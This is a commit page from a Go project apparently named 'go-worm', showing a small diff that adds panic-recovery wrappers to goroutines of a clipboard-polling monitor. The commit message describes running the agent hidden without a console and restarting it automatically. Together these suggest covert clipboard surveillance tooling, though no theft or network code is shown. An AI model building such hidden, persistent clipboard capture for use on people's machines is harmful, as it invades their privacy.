refactor(core): add headless run and auto-restart

- Run without console by default
- Log to file once console hidden
- Recover panics in background goroutines
- Restart agent after unexpected errors
- Use shared instance launch helper
This commit is contained in:
2026-09-01 20:12:12 +03:00
parent 36cb847f9e
commit 2318684e93
19 changed files with 299 additions and 63 deletions
+2
View File
@@ -5,6 +5,7 @@ import (
"time"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
var (
@@ -45,6 +46,7 @@ func Start() error {
writerWG.Add(1)
go func() {
defer writerWG.Done()
defer helpers.RecoverLog("clipmon-writer")
for {
select {
case event := <-events:
+3
View File
@@ -12,6 +12,8 @@ import (
"syscall"
"time"
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
const (
@@ -50,6 +52,7 @@ type bitmapInfoHeader struct {
func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error {
go func() {
defer close(done)
defer helpers.RecoverLog("clipmon-poll")
pollClipboard(w, stop)
}()
return nil